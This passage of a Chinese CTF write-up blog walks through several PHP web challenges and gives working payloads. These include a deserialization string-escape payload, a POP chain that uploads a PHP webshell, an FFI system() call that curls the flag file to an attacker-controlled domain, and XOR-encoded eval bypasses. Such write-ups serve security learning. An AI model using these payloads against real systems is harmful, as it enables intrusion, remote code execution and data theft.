";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}
这样序列化后结果就是:
O:4:"Info":3:{s:3:"age";s:4:"union"O:12;s:464:"";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}";s:1:"a";s:8:"CtrlCase";N;}
闭合掉了后面的结果,造成造成字符逃逸
上面nickname的长度为464,因此我们需要在前面多加464个union来使得格式规范
我们传参:
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}}
之后去登录界面登录即可
image.png
当然也有很多种其他解法,比如可以让sql语句为select password,id from user where username=?,并且在构造pop时,让token也为admin
image.png
这样在这一步就直接输出了password,我们直接登录即可,拿到的password是md5加密后的,需要解密一下(假如复杂一点就不能解密了,因此感觉这种方法不太好)
其他的还有用update user set password="c4ca4238a0b923820dcc509a6f75849b" where username=?去更新密码的等等

[WMCTF2020]Make PHP Great Again

考点:PHP require_once软链接绕过
在php中的文件包含中,当路径嵌套太多,如/proc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/rootproc/self/root/var/www/html这种形式,会造成php在哈希表中无法正确匹配导致绕过

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

代码很简短,考点很简单,require_once只能包含一次,因此正常来说包含flag.php是无效的
这里就用上面的payload就行了,套多层,在linux中/proc/self表示当前进程/proc/self/root指的就是根目录

当然这一题还有其他解法,比如session条件竞争

[强网杯 2019]Upload

考点: 代码审计 信息泄露 PHP反序列化
PS:在这里终于解决了我蚁剑无法使用的问题呜呜呜呜,是系统环境变量里的http_proxy没删掉!!!!!
首先有www.tar.gz源码文件,重要几个文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
namespace app\web\controller;
use think\Controller;

class Login extends Controller
{
public $checker;

public function __construct()
{
$this->checker=new Index();
}

public function login(){
if($this->checker){
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if(input("?post.email") && input("?post.password")){
$email=input("post.email","","addslashes");
$password=input("post.password","","addslashes");
$user_info=db("user")->where("email",$email)->find();
if($user_info) {
if (md5($password) === $user_info['password']) {
$cookie_data=base64_encode(serialize($user_info));
cookie("user",$cookie_data,3600);
$this->success('Login successful!', url('../home'));
} else {
$this->error('Login failed!', url('../index'));
}
}else{
$this->error('email not registed!',url('../index'));
}
}else{
$this->error('email or password is null!',url('../index'));
}
}


}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
namespace app\web\controller;
use think\Controller;

class Index extends Controller
{
public $profile;
public $profile_db;

public function index()
{
if($this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
return $this->fetch("index");
}

public function home(){
if(!$this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}

if(!$this->check_upload_img()){
$this->assign("username",$this->profile_db['username']);
return $this->fetch("upload");
}else{
$this->assign("img",$this->profile_db['img']);
$this->assign("username",$this->profile_db['username']);
return $this->fetch("home");
}
}

public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

public function check_upload_img(){
if(!empty($this->profile) && !empty($this->profile_db)){
if(empty($this->profile_db['img'])){
return 0;
}else{
return 1;
}
}
}

public function logout(){
cookie("user",null);
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}

public function __get($name)
{
return "";
}

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __construct()
{
$this->checker=new Index();
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
}

public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
}

public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}

public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
}

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
public $checker;
public $registed;

public function __construct()
{
$this->checker=new Index();
}

public function register()
{
if ($this->checker) {
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
$email = input("post.email", "", "addslashes");
$password = input("post.password", "", "addslashes");
$username = input("post.username", "", "addslashes");
if($this->check_email($email)) {
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];
if (db("user")->insert($user_info)) {
$this->registed = 1;
$this->success('Registed successful!', url('../index'));
} else {
$this->error('Registed failed!', url('../index'));
}
} else {
$this->error('Account already exists!', url('../index'));
}
}else{
$this->error('Email illegal!', url('../index'));
}
} else {
$this->error('Something empty!', url('../index'));
}
}

public function check_email($email){
$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
preg_match($pattern, $email, $matches);
if(empty($matches)){
return 0;
}else{
return 1;
}
}

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}


}

是一个thinkphp的项目,app里一共有四个类,处理逻辑主要在index.php中
程序自带2个断点,应该是给我们标出了重要的地方:
image.png
分别在index,register文件下,可以看到有unserialize函数,程序的正常逻辑首先是要注册,然后登录,登录过后还得上传一个图片文件
image.png
不过可以绕过,上传完成图片后,才能进入个人资料界面,并且会将数据序列化+base64之后存进cookie里,也是在上面一段代码中,对文件名处理后覆盖了原来的文件
逻辑搞懂了之后就来看反序列化入口在哪
在Profile.php中有2个魔术方法:
image.png
逻辑是,get方法会从except数组中返回你所请求的属性;call方法以this->{$name}为方法名,执行这个方法
在register.php中又有析构方法:
image.png
会调用自身checker属性的index方法,在这里不难知道pop链:
首先触发Profile类里的__call魔术方法,call方法中this->{$name}又会触发__get方法,因此只需在except数组中存一个键值对["index"=>"img"],然后让img属性为"upload_img",这样就会调用upload_img方法,在这由于是反序列化没上传文件,所以if(!empty($_FILES))就被绕过去了,不会进入if里面的内容
直接进入文件覆盖环节,在这我们只需要让filename属性等于我们的./upload/xxx/xxx.php即可完成上传php文件,之后getshell
直接放pop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
namespace app\web\controller;

class Profile
{
public $checker;
public $filename_tmp="./upload/c47b21fcf8f0bc8b3920541abd8024fd/af6f4397ef14747a05a530270c618ce3.png";
public $filename="./upload/c47b21fcf8f0bc8b3920541abd8024fd/Boogipop.php";
public $upload_menu="c47b21fcf8f0bc8b3920541abd8024fd";
public $ext=1;
public $img="upload_img";
public $except=["index"=>"img"];
}
class Register
{
public $checker;
public $registed=false;
}
$upload=new Profile();
$reg=new Register();
$reg->checker=$upload;
echo base64_encode(serialize($reg));

理解起来后其实就是很简单的反序列化,代码审计的重要性理解了吧
image.png
上号拿flag了

[RCTF 2019]Nextphp(PHP7.4FFI)

考点:FFI,反序列化

1
2
3
4
5
6
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}

看到这么简单一瞬间以为是傻逼题,结果你可以试试看ban了很多函数,system之类的全没了
输入a=phpinfo();
image.png

image.png
可以看到被ban掉的函数有多少,其次注意这是PHP7.4版本,这个版本之后开放了FFI拓展:
FFI拓展可以加载不同语言的调用
然后再phpinfo中可以看到preload是加载了preload.php文件
既然被ban了这么多函数,就用glob协议去读取文件:
image.png
image.png
发现当前目录和根目录有几个文件,当前目录有一个preload.php,而根目录中flag文件就在那儿
现在要想办法该如何去读取FLAG,UAF脚本不行,payload长度有限
读取preload文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}

public function __serialize(): array {
return $this->data;
}

public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}

public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}

public function __get ($key) {
return $this->data[$key];
}

public function __set ($key, $value) {
throw new \Exception('No implemented');
}

public function __construct () {
throw new \Exception('No implemented');
}
}

这边得用FFI拓展去加载C语言汇总的system函数,因为ban掉了php的system,我们就去使用c语言的。构造本地文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];

//可以进行函数执行
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}


public function serialize (): string {
return serialize($this->data);
}

public function unserialize($payload) {

$this->data = unserialize($payload);
$this->run();
}
//结果输出
}

$a = new A();
echo serialize($a);
var_dump($a)
?>

首先说一下,implement和extend是有区别的:

其次是Serializable接口:
可以知道接口定义的方法一般是空的,在子类进行重写
所以我们假如implement Serializable那我们进行序列化和反序列化都是调用里面的function
其实作用一样

还要注意一点,在PHP7.4之后,如果对象实现了 Serializable 接口,接口的 serialize() 方法会被忽略,做为代替类中的 __serialize() 方法会被调用。
所以在本地文件构建时要注释掉这个方法,得到答案:

C:1:”A”:89:{a:3:{s:3:”ret”;N;s:4:”func”;s:9:”FFI::cdef”;s:3:”arg”;s:26:”int system(char *command);”;}}

这时如果把payload输入进去,首先会触发__unserialize魔术方法,这就直接调用了run()方法,使得

data[ret]=FFI::cdef(int system(char *command);)

这样就可以调用c语言中的system函数
进而payload:

C:1:”A”:89:{a:3:{s:3:”ret”;N;s:4:”func”;s:9:”FFI::cdef”;s:3:”arg”;s:26:”int system(char *command);”;}}->__serialize()[‘ret’]->system(“curl -F ‘@get=/flag’ 你的burpsuite域名”)

这里调用了__serialize来得到ret,也可以用__get魔术方法
然后再burpsuite上读取发送过来的包即可

后来又想为什么不直接通过那个 shell 利用 FFI (直接不用那个反序列化),结果试了发现不行。再次查看文档,发现如下描述:

FFI API opens all the C power, and consequently, also an enormous possibility to have something go wrong, crash PHP, or even worse. To minimize risk PHP FFI API usage may be restricted. By default FFI API may be used only in CLI scripts and preloaded PHP files. This may be changed through ffi.enable INI directive. This is INI_SYSTEM directive and it’s value can’t be changed at run-time.

  • ffi.enable=false completely disables PHP FFI API
  • ffi.enable=true enables PHP FFI API without any restrictions
  • ffi.enable=preload (the default value) enables FFI but restrict its usage to CLI and preloaded scripts

原来默认 ffi.enable=preload 且仅在命令行模式和 preload 文件中可用,在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。

payload2:

C:1:”A”:89:{a:3:{s:3:”ret”;N;s:4:”func”;s:9:”FFI::cdef”;s:3:”arg”;s:26:”int system(char *command);”;}}->__serialize()[‘ret’]->system(“cp /flag 1.txt”)

然后直接访问1.txt即可。。。

众多参考:

[ISITDTU 2019]EasyPHP

考点:命令执行异或的长度限制Bypass

1
2
3
4
5
6
7
8
9
10
11
12
	<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

首先先做一个fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
$arr=[];
for($i=0;$i<128;$i++){
if (! preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', chr($i)) ){
array_push($arr,chr($i));
}
}
print_r($arr)
?>

<!--
Array
(
[0] => !
[1] => #
[2] => %
[3] => (
[4] => )
[5] => *
[6] => +
[7] => -
[8] => /
[9] => :
[10] => ;
[11] => <
[12] => =
[13] => >
[14] => ?
[15] => @
[16] => A
[17] => B
[18] => C
[19] => H
[20] => I
[21] => J
[22] => K
[23] => L
[24] => M
[25] => N
[26] => Q
[27] => R
[28] => T
[29] => U
[30] => V
[31] => W
[32] => X
[33] => Y
[34] => Z
[35] => \
[36] => ]
[37] => ^
[38] => a
[39] => b
[40] => c
[41] => h
[42] => i
[43] => j
[44] => k
[45] => l
[46] => m
[47] => n
[48] => q
[49] => r
[50] => t
[51] => u
[52] => v
[53] => w
[54] => x
[55] => y
[56] => z
[57] => }
[58] => ~
)
-->

字母几乎都没ban,数字全没了,这题的难点不是这个fuzz而是
strlen(count_chars(strtolower($_), 0x3)) > 0xd
这句话限制死了我们payload中字符串种类最多为13,我们考虑使用异或
除去一些必要的();^,就剩下9种
因此现在要做的就是缩短payload中字符串种类,写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
result2 = [160, 136, 138, 140, 141, 144, 145, 209, 150, 151, 154, 155, 156, 158]  # Original chars,14 total
result = [160, 136, 141, 209, 151, 154, 155, 156]
# temp = []
# for d in result2:
# for a in result:
# for b in result:
# for c in result:
# if (a ^ b ^ c == d):
# if a == b == c == d:
# continue
# else:
# # print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
# if d not in temp:
# temp.append(d)
def xor(string):
result=[]
for s in string:
ascii=ord(s)
res=ascii^0xff
# result+="%"+str(hex(res1)).replace("0x","")
result.append(res)
return result
def Replace(hexlist):
flag=False
res1=[]
res2=[]
res3=[]
for a in hexlist:
flag = False
for b in result:
for c in result:
for d in result:
#result2用于获取show_source
xor=b^c^d
if(xor==a):
if a == b == c == d:
continue
else:
if flag:
break
flag=True
res1.append(b)
res2.append(c)
res3.append(d)
if flag:
break
if flag:
break
if flag:
break
out=''
for string in res1:
out+="%"+str(hex(string)).replace("0x","")
out="("+out+")"+"^"+"("
for string in res2:
out += "%" + str(hex(string)).replace("0x", "")
out=out+")"+"^"+"("
for string in res3:
out += "%" + str(hex(string)).replace("0x", "")
out+=")"
return out
# print(Replace(xor("print_r"))+"^(%ff%ff%ff%ff%ff%ff%ff)")
# print(Replace(xor("scandir"))+"^(%ff%ff%ff%ff%ff%ff%ff)")
print(Replace(xor("scandir"))+"^(%ff%ff%ff%ff%ff%ff%ff)")
#show_source(end(scandir(".")))
#show_source=((%8d%a0%97%a0%a0%8d%97%8d%a0%a0%a0)^(%9a%a0%9b%a0%88%9a%9b%9b%a0%a0%a0)^(%9b%97%9c%88%88%9b%9c%9c%8d%9c%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))
#end==((%a0%97%a0)^(%a0%9a%a0)^(%9a%9c%9b)^(%ff%ff%ff))
#scandir==((%8d%a0%88%97%a0%97%a0)^(%9a%a0%8d%9a%a0%9a%a0)^(%9b%9c%9b%9c%9b%9b%8d)^(%ff%ff%ff%ff%ff%ff%ff))
#.=(%d1^%ff)

开头的result和result2是什么呢
result2代表一开始没有删减,单纯异或出来的结果中字符串的种类数,很明显是超过了9的,因此我们需要删除,用result中的元素进行两次异或,获得result2中(原始)数据中没有的元素,这样种类数就可以减少
print_r(scandir(“.”)):
?_=((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

1
Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )

发现了flag文件
show_source(end(scandir(“.”))):
?_=((%8d%a0%97%a0%a0%8d%97%8d%a0%a0%a0)^(%9a%a0%9b%a0%88%9a%9b%9b%a0%a0%a0)^(%9b%97%9c%88%88%9b%9c%9c%8d%9c%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%a0)^(%a0%9a%a0)^(%9a%9c%9b)^(%ff%ff%ff))((((%8d%a0%88%97%a0%97%a0)^(%9a%a0%8d%9a%a0%9a%a0)^(%9b%9c%9b%9c%9b%9b%8d)^(%ff%ff%ff%ff%ff%ff%ff))((%d1^%ff)))));

妈的这题真折磨人啊,真的就是顶级折磨了

[harekazectf2019]avatar uploader

HnuSec测试题
finfo_file和getimazisize函数的区别(打错了)

[极客大挑战 2020]Greatphp

考点: PHP异常类绕过sha1和md5
通过这题调试也发现了之前忽略掉的一些细节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

看似简单的反序列化暗藏玄机,就是sha1和md5不可能同时满足,就算用数组去绕过了也无法eval执行命令,因此在这里又要回到php特性了
还记得吗,用内置类去命令执行Error,Exception等等
利用他们的toString方法配合eval去命令执行

1
2
3
4
5
<?php
$a=new Exception("aaaa");
md5($a);
echo $a;
?>

image.png
实例化之后message也就是我们的报错主信息被赋值为了aaaa,之后输出结果为String:
image.png
可以看到其中的aaaa是我们可以控制的内容,将aaaa修改为我们恶意执行代码比如phpinfo()之类的,这样报错信息中就有恶意代码,配合eval就有可能去执行
可是还有个问题就是我们可控信息前后都有没用的信息,记得之前扫盲中的eval小技巧吗?

1
2
3
4
eval("abc:echo 123;");  //123
eval("abc12:echo 123;"); //123
eval("12a:echo 123;"); //报错
eval("_12a:echo 123;");//123

首先是前面有冒号的话,只要冒号前的字符串是规范的变量名那么就不会报错
其次是假如要注释掉后面的内容只需要加一个?>即可
现在反过来看题目,首先要让syc!=lover并且md5(syc)===md5(lover)

1
2
3
4
5
$a=new Exception("aaaa",1);
$b=new Exception("aaaa");
md5($b);
md5($a);
echo $a;

我们注册2个异常类,调试看看string中的信息有啥不同:
image.png
可以发现有一个行号的问题,要让md5和sha1加密后结果相同,报错的行号位置就应该一样,所以把a、b放到同一行:
image.png
image.png
这次string中的内容就一样了,注意我们$a=new Exception("aaaa",1),我们把code赋值为1,这样绕过了lover!=syc
因此可以得出答案:

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
}
$a=new SYCLOVER;
$cmd="include /flag;?>";
$a->syc=new Exception($cmd);$a->lover=new Exception($cmd,1);
echo urlencode(serialize($a));
?>

由于ban掉了括号之类的,难以执行命令,因此就直接猜测根目录是否有flag

[FireshellCTF2020]Caas

考点:c编译器include报错数据带出
image.png
一个会编译你c语言代码的项目(测试过)
image.png
编译过后返回你这个文件,问题是他又不执行,所以尝试过反弹shell也没用,然后发现头文件include的时候好像有任意文件报错带出:
#include "/etc/passwd"
image.png
#include "/flag"
image.png

[N1CTF 2018]eating_cms

考点:cms
我败了,我到最后一步居然忘掉了先前的知识,我是傻逼对不起
一开始是登录界面,抓包发现验证逻辑:
image.png
尝试过多种方式,看来绕过是不可能了,有login,一定就有register,访问register.php注册个账号然后在登录界面抓包:
image.png
首先会跳转到admin界面,然后因为权限不够跳转到了guest界面:
image.png
url中的page参数很可疑,尝试了一波任意文件读取:
image.png
成功读取到了user.php,顺藤摸瓜把几个重要文件都下载了下来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}


function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}

function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}

function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}

function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}

function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}

function logout()
{
session_destroy();
Header("Location: index.php");
}

?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
